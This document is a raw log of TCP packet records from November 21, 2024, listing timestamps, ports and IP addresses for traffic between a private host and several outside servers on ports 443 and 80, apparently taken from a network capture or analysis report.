Nov 21, 2024 00:03:18.407675982 CET	443	49757	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.489259005 CET	443	49752	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.489495993 CET	443	49752	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.489553928 CET	49752	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.489670992 CET	49752	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.489702940 CET	443	49752	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.489717960 CET	49752	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.489723921 CET	443	49752	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.492295980 CET	49758	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.492397070 CET	443	49758	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.492481947 CET	49758	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.492610931 CET	49758	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.492631912 CET	443	49758	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.626188040 CET	443	49753	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.626754999 CET	49753	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.626768112 CET	443	49753	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.627216101 CET	49753	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.627222061 CET	443	49753	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:19.076684952 CET	443	49753	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:19.076771021 CET	443	49753	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:19.076829910 CET	49753	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:19.077006102 CET	49753	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:19.077024937 CET	443	49753	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:19.077039003 CET	49753	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:19.077044964 CET	443	49753	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:19.080219984 CET	49759	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:19.080250025 CET	443	49759	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:19.080316067 CET	49759	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:19.080456018 CET	49759	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:19.080463886 CET	443	49759	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:19.510616064 CET	443	49754	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:19.510689974 CET	443	49754	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:19.510746002 CET	49754	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:19.510943890 CET	49754	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:19.510987997 CET	443	49754	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:19.511018038 CET	49754	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:19.511034966 CET	443	49754	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:19.514533043 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:19.634157896 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:19.634231091 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:19.634567976 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:19.754350901 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:19.964569092 CET	443	49755	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:19.965538979 CET	49755	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:19.965576887 CET	443	49755	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:19.969460011 CET	49755	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:19.969468117 CET	443	49755	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:19.973002911 CET	443	49756	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:19.973922014 CET	49756	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:19.973942995 CET	443	49756	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:19.977891922 CET	49756	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:19.977897882 CET	443	49756	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.286642075 CET	443	49758	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.287235975 CET	49758	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.287262917 CET	443	49758	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.287705898 CET	49758	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.287710905 CET	443	49758	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.416568995 CET	443	49755	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.416727066 CET	443	49755	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.416826010 CET	49755	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.416938066 CET	49755	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.416960001 CET	443	49755	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.416970015 CET	49755	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.416975975 CET	443	49755	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.417213917 CET	443	49756	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.417299032 CET	443	49756	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.417354107 CET	49756	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.417406082 CET	49756	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.417439938 CET	443	49756	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.417465925 CET	49756	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.417481899 CET	443	49756	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.420106888 CET	49761	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.420151949 CET	443	49761	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.420208931 CET	49762	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.420264959 CET	49761	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.420312881 CET	443	49762	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.420382977 CET	49761	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.420389891 CET	49762	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.420396090 CET	443	49761	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.420593023 CET	49762	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.420608044 CET	443	49762	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.732074022 CET	443	49758	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.732283115 CET	443	49758	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.732331991 CET	49758	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.732517004 CET	49758	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.732539892 CET	443	49758	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.732554913 CET	49758	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.732563019 CET	443	49758	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.736665010 CET	49763	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.736716986 CET	443	49763	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.736824036 CET	49763	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.737205029 CET	49763	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.737220049 CET	443	49763	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.874891043 CET	443	49759	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.875474930 CET	49759	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.875488043 CET	443	49759	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.876370907 CET	49759	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:20.876379967 CET	443	49759	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:20.989213943 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:20.989233017 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:20.989547968 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:20.990430117 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:20.990504980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:20.990516901 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:20.990561962 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:20.990575075 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:20.990616083 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:20.990616083 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:20.990706921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:20.990719080 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:20.990726948 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:20.990776062 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.010493040 CET	443	49757	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.011413097 CET	49757	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.011426926 CET	443	49757	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.011984110 CET	49757	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.011989117 CET	443	49757	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.109056950 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.109159946 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.109304905 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.113248110 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.166115046 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.182651997 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.182740927 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.182801008 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.186850071 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.186964035 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.187134981 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.195287943 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.195398092 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.195476055 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.203635931 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.203809977 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.204018116 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.212014914 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.212127924 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.212181091 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.220463037 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.220588923 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.220663071 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.228801012 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.228944063 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.229332924 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.237230062 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.237304926 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.237370968 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.246218920 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.246412992 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.246484041 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.253979921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.254081964 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.254160881 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.285624981 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.285746098 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.285896063 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.289865971 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.320300102 CET	443	49759	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.320385933 CET	443	49759	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.320475101 CET	49759	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.320642948 CET	49759	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.320642948 CET	49759	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.320657015 CET	443	49759	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.320667028 CET	443	49759	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.323188066 CET	49764	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.323232889 CET	443	49764	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.323328018 CET	49764	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.323498011 CET	49764	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.323508978 CET	443	49764	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.337799072 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.384563923 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.384613991 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.384800911 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.386948109 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.387190104 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.387362957 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.391803980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.391911030 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.392205954 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.396614075 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.396713972 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.396771908 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.401439905 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.401556969 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.401658058 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.406364918 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.406379938 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.406459093 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.411103010 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.411222935 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.411294937 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.415930033 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.416064024 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.416121960 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.420788050 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.420892000 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.420949936 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.425621986 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.425684929 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.425748110 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.430448055 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.430557966 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.430624008 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.435370922 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.435436010 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.435558081 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.440098047 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.440179110 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.440241098 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.461530924 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.461564064 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.461657047 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.461832047 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.461849928 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.461936951 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.462136030 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.462152958 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.462198973 CET	443	49757	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.462204933 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.462281942 CET	443	49757	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.462327003 CET	49757	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.462472916 CET	49757	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.462490082 CET	443	49757	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.462496996 CET	49757	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.462502956 CET	443	49757	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.467245102 CET	49765	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.467295885 CET	443	49765	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.467386961 CET	49765	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.467535973 CET	49765	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:21.467549086 CET	443	49765	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:21.576668978 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.576767921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.576842070 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.578675032 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.578741074 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.578815937 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.582904100 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.582923889 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.582976103 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.586745024 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.586864948 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.586930990 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.590827942 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.590924025 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.591042042 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.594888926 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.594973087 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.595031977 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.598649025 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.598675966 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.598956108 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.602375031 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.602543116 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.602637053 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.606188059 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.606339931 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.606416941 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.609921932 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.610022068 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.610085964 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.613709927 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.613853931 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.613989115 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.617444038 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.617544889 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.617635965 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.621248007 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.621365070 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.621479034 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.625016928 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.625260115 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.625415087 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.628787994 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.628863096 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.628932953 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.632529020 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.632702112 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.633069038 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.636255980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.636390924 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.636465073 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.640058994 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.640198946 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.640292883 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.643872976 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.643985987 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.644061089 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.647608995 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.647711039 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.647846937 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.651391983 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.651412964 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.651463985 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.655241013 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.655268908 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.655350924 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.658920050 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.659045935 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.659168959 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.662674904 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.662765980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.662904978 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.666486979 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.666507006 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.666691065 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.670244932 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.670270920 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.670389891 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.674005985 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.674108982 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.674182892 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.677795887 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.677897930 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.678006887 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.681555033 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.681646109 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.681756973 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.685303926 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.685424089 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.685476065 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.689079046 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.689172029 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.689759016 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.768795013 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.768991947 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.769104004 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.770531893 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.770646095 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.770771027 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.773861885 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.773951054 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.774000883 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.777234077 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.777281046 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.777348042 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.780635118 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.780742884 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.780797005 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:21.783915043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.784010887 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:21.784132957 CET	49760	80	192.168.2.7	185.215.113.16
